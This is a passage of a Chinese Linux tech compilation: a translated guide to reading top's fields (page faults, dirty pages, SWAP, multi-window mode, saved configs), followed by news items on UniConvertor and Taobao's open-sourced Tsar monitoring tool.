例如,假设程序ABC的大小为8KB,页面大小为4KB。当程序读进内存的时候,发生了两次重大的页面错误(2*4KB)。程序本身分配了8KB空间当作临时数据。因此,还会有两次小型页面错误。

nFLT过高可能意味着:

  1. 进程从磁盘读取大量资源。The task is aggressively load some portions of its executable or library from the disk.
  2. 进程访问了一个已经交换到磁盘的页面。

当进程第一次运行时,看到大量重大页面错误很正常。下次运行的时候,由于缓存已经分配好了,你很可能看到”0″次或者很小的 nFLT。但是,如果一个程序频繁地触发重大页面错误,很有可能是你目前安装的内存不够那个程序使用。

nDRT (‘v’)

上次页面写入磁盘以来,脏页面的数目。

什么是脏页面?先看一点背景知识。大家都知道,Linux使用了缓存系统,所以从磁盘读取的数据也会被缓存到内存中。这样做的优点是,后续的对这个磁盘块的读操作可以直接从内存中取数据,因而速度更快。

但这也是有代价的。如果缓冲区的内容被修改了,那么就需要进行同步。因此,被更改的缓冲区(脏页面)必需写回到磁盘中。同步失败则可能导致磁盘上的数据不一致。

在负载不重的系统中,nDRT 通常小于10(大约估计)或者为0。如果你的系统通常大于10,则有可能:

  1. 进程正在往磁盘写入大量数据。磁盘I/O经常跟不上缓冲区的速度。
  2. 磁盘I/O拥塞,因此即使进程修改了很小部分文件,也必需等待一段时间才能完成同步。拥塞出现在很多进程同时访问磁盘而缓存命中率低的情况下(译者注:FTP服务的典型情况)。

现在的话,(1) 不太可能出现,因为I/O速度越来越快,需要更少的CPU(DMA技术的出现)。所以 (2) 出现的概率更高。

注意:在 2.6.x 内核中, 不知道为什么,这个列的值总是0。

P (‘j’)

上次使用的CPU。这个列只在SMP环境中有意义。这里的SMP指超线程,多核或者多CPU架构。如果你只有一个CPU(不是多核,没有超线程),这个列总是显示0。

在SMP系统中,即使这个列有几次改变,也不要吃惊。这意味着,Linux 内核尝试将你的进程移到另一个负载更少的CPU。

CODE (‘r’) 和 DATA (‘s’)

CODE 只是反映了你程序代码的大小,DATA反映了你数据段(栈,堆,变量,不包含共享库) 的大小。单位都是KB。

DATA可以显示你的程序分配了多少内存。有时,也可以用来协助分析内存泄漏。当然,你需要更好的工具,如使用 valgrind 来查看每次的内存分配。如果DATA不断增长,则很有可能出现了内存泄漏。

注意:DATA, CODE, SHR, SWAP, VIRT, RES 都是使用页面大小(Intel架构上为4KB)来衡量。只读数据段也包含在CODE的大小中,因而有时候CODE比实现的段要大。

SWAP (‘p’)

已经进行交换的进程内存映像大小。这个列有时很让人疑惑:

逻辑上,你可能期望这个列显示你的程序实际上是完全进行交换,还是部分交换了,交换了多少。但是事实上不是。即使“Swap used” 列显示为0,你仍然可以很吃惊地发现所有进程的SWAP列都大于0。到底是为什么呢?

这是由于 top 命令使用如下的计算公式:

                VIRT = SWAP + RES or equal
                SWAP = VIRT - RES

前面说过,VIRT 包含了进程的地址空间里面的所有东西:内存中的,已经进行交换的,尚未从磁盘读取的。RES 代表了进程占用的全部内存大小。所以,这里的SWAP代表了已经进行交换的全部数据,以及尚未从磁盘读取的数据。不要被SWAP这个名字迷惑了,它代表的 不只是已经交换的数据。

  要显示以上的列,在交互模式下按 ‘f’ 键,然后再按相应的键。按一下显示指定的列,再按一下隐藏该列。要确定当前显示的是哪些列,只需看第一行的字母(在”Current Fields”的右边)。大写字母表示显示了该列,小写表示隐藏。你选好以后,按回车即可。

  排序使用了类似的方法。按 ‘O’ (大写),然后再按相应的键。即使记不住那些按键也没关系,top 会显示出来。新的排序键将标上星号,相应的字母会变成大写,很直观。选好以后,记得按回车。

E.多视图比单个视图更好吗?

  在不同的情况下,有时候我们想监视不同的系统属性。例如,你想同时监控CPU的百分比和CPU被所有任务消耗的时间。在另一段时间,你想监控常驻内存和所有任务的总页面故障。快速按‘F’键然后切换界面?我想这也太不明智了吧。

  为什么不试试多视图窗口模式呢?按‘A’(大写)切换到多窗口界面。默认的,你将会看到4个不同的系列的字段组。每个字段组有默认的标签/名称:

  第一字段组: Def

  第二字段组: Job

  第三字段组: Mem

  第四字段组: Usr

  第一字段组就是你在单一视图窗口所常见的组,而其余的组会被隐藏。内置多视图窗口模式,所有可用的窗口通过按‘a’或者‘w’循环。注意,切换到其他窗口 时会改变活动窗口(也称为当前窗口)。假如你不确定哪一个是活动窗口的话,只需要看一下top展示的第一行(在当前时间字段的左边)。另一个改变活动窗口 的方法是通过按‘G’紧跟着输入数字(1到4)。

  活动窗口是针对用户输入的,因此在开始干活之前确定选好了你偏好的界面。然后,你可以在单一窗口模式下爱干嘛干嘛。在这种情况你一般想自定义字段展示,那么你只需要按‘f’然后开始自定义。

  假如你认为第四字段组太多的话,你只需要切换到字段组然后按‘-’隐藏。请注意,即使你隐藏了当前的字段组,那并不以意味着你同时改变了活动组。再次按‘-’的话,当前组就可见了。

  如果你想操作多视图窗口模式,再次按‘A’键。那样也将使得活动组成为了单一视图窗口模式的新的字段组。

F. “我的Linux主机上怎么会只有很少的空闲内存?”

  有同样的问题? 不管你在主板上增加多少内存,你都会很快发现空闲内存减少的非常迅速. 空闲内存算错了? 不!

  在回答这个之前, 先查看一下top命令顶部显示的内存概要 (有可能你需要按 ‘m’来显示出来). 在这里,你可以看到两个区域: 缓冲(buffers)和缓存(cached)。 “缓冲(Buffers)” 代表有多少内存用来缓存磁盘块 “缓存(Cached)” 有一点类似 “缓冲(Buffers)”, 只是仅仅从文件读取缓存页面. 想透彻了解这部分,建议读一下Linux内核的书比如Robert M.Love写的《Linux Kernel Development》。

  这足够了解缓冲(buffers)和缓存(cached)代表系统缓存. 他们会根据linux内核机制动态增加或减少。

  除去被缓存的消耗,程序和代码同样要占据RAM. 所以,最终空闲内存显示的是RAM中不被缓存和程序/代码占用的部分 一般来说,你也可以考虑缓存区域为另一部分“空闲”RAM,如果程序需要更多内存它会减少

  从进程的角度来看,你可能想知道哪个区域代表真实的内存消耗,VIRT(virtual memory usage )区域? 当然不是! 回顾一下,这个区域代表了进程地址空间里一切,包括相关的库。阅读top命令的源代码和proc.txt (在内核代码树中的Documentation/filesystem 文件夹内), 我的结论是RSS字段是进程内存消耗的最好的描述.我说“最好的”是因为你可以考虑它是近似而不是所有时间100%准确。

G.使用数个保存的配置

  希望保存多个不同的配置文件,以便于轻松的切换预配置视图?只需要创建一个 Top 二进制文件的软连接到你喜欢的名字:

# ln -s /usr/bin/top /usr/bin/top-a

  然后运行新的“top-a”。调整完毕后键入‘W’保存配置,它将被保存到 ~/.top-arc(格式为你的 Top 别名+rc)。

  这样,运行原来的 Top 可以使用之前的视图,而 top-a 则使用第二个,依次类推。

H.总结

  有很多窍门使用top会更加高效。关键是知道你真正需要的是什么和可能的对Linux低级别原理的一般理解。统计并不总是正确,但至少有助于总体衡量。所有这些数字收集自 /proc,因此首先确保它已挂载!

  参考:

  • Understanding The Linux Kernel,第二版。
  • 内核源代码树里的/filesystems/proc.txt文档。
  • Linux 内核源代码。

英文原文:Using Top More Efficiently

参与翻译(6人):Khiyuan, 陈大吉, daxiaoming, 等PM, 暴走游侠, 风恒

译文来自:http://www.oschina.net/translate/using-top-more-efficiently

Linux:矢量图形转换工具UniConvertor

  从事印刷和出版行业的朋友,都需要利用AI或CDR格式传送印刷时需要的向量图档案。然而制作AI或CDR格式的向量图形工具的Adobe Illustrator和Corel Draw售价实在太贵,今天要介绍的是开源格式转换工具UniConvertor,可以轻松的将AI或CDR转换成公开的SVG。

  以前大家都是用盗版的Adobe Illustrator和Corel Draw,但反盗版法通过后便必须购买正版。但Adobe Illustrator和Corel Draw售价对小型设计公司就如天文数字。其实要制作向量图,利用开源免费的LibreOffice和Inkscape就已经可以了,它们可以输出副档名 为SVG(Scalable Vector Graphics)的向量图形格式。UniConvertor可以将AI和CDR转换成SVG。旧版本只支援文字模式命令,而且要另外安装Python等 工具才可正常使用,新版本已经可以在图形界面下运作了,而且不用再另外安装Python。

  UniConvertor输入格式支援CorelDRAW ver.7-X3,X4 (CDR/CDT/CCX/CDRX/CMX)、Adobe Illustrator up to 9 ver. (AI postscript based)、Postscript (PS)、Encapsulated Postscript (EPS)、Computer Graphics Metafile (CGM)、Windows Metafile (WMF)、XFIG、Scalable Vector Graphics (SVG)、Skencil/Sketch/sK1 (SK and SK1)和Acorn Draw (AFF)。输出格式支援AI(Postscript based Adobe Illustrator 5.0 format)、SVG(Scalable Vector Graphics)、SK(Sketch/Skencil format)和SK1(sK1 format)、CGM(Computer Graphics Metafile)、WMF(Windows Metafile)、PDF(Portable Document Format)和PS(PostScript)。UniConvertor可在Linux、Mac OS X和Windows下使用。

来自:http://www.linuxpilot.net/industry/news/201304120101ai-cdr-svg-UniConvertor

Linux:淘宝开源其系统监控工具Tsar

淘宝在开发社区的贡献可谓功不可没,近日又将其系统监控工具Tsar代码上传至GitHub。据@淘叔度介绍,Tsar在淘宝内部已经被大量使用,它不仅可以监控CPU、IO、内存、TCP等系统状态,也可监控Apache、Nginx/Tengine、Squid等服务器状态。

Tsar(Taobao System Activity Reporter)可将收集到的数据存储在磁盘上,另外可以支持将数据存储到MySQL中,也可将数据发送到Nagios报警服务器。在展示数据层面,可以指定模块,并且支持对多条信息的数据进行Merge输出,如果带–live参数,还可以输出秒级的实时信息。

从架构上来看,Tsar基于模块化设计,源代码上来看主要包含两部分:框架和模块。框架源代码主要存放在src目录,模块源代码主要在modules目录中。框架提供对配置文件的解析、模块的加载、命令行参数的解析、应用模块的接口对模块原始数据的解析与输出。

Tsar的运行流程图如下:

主要执行流程:

  • 解析输入
  • 读取配置文件信息
  • 加载相应模块
  • Tsar的三种模式(print、live和cron)执行
  • 释放资源

本次开源消息公布后,受到了社区开发者的欢迎:

TriChaos:喜欢没有浮华的字符界面,像和没有废话的人对话。

_Yuen:代码少逻辑清晰模块化又好,不得不说是一个好工具的典范。

淘木名:事后线上问题分析必备利器。

淘叔度:目前只支持C语言开发的插件。不过写个模块非常简单。

得益于淘宝开源

淘宝开源平台于2010年6月上线,至今,该平台已经发布了若干开源项目,其中不乏来自于淘宝之外的项目在此落户。目前注册会员数13002人,收录项目已达到2875个。目前,该平台关注度最高的5个项目分别是tfs、tair、webx、OceanBase、athrun。

via http://www.linuxeden.com/html/news/20130413/138154.html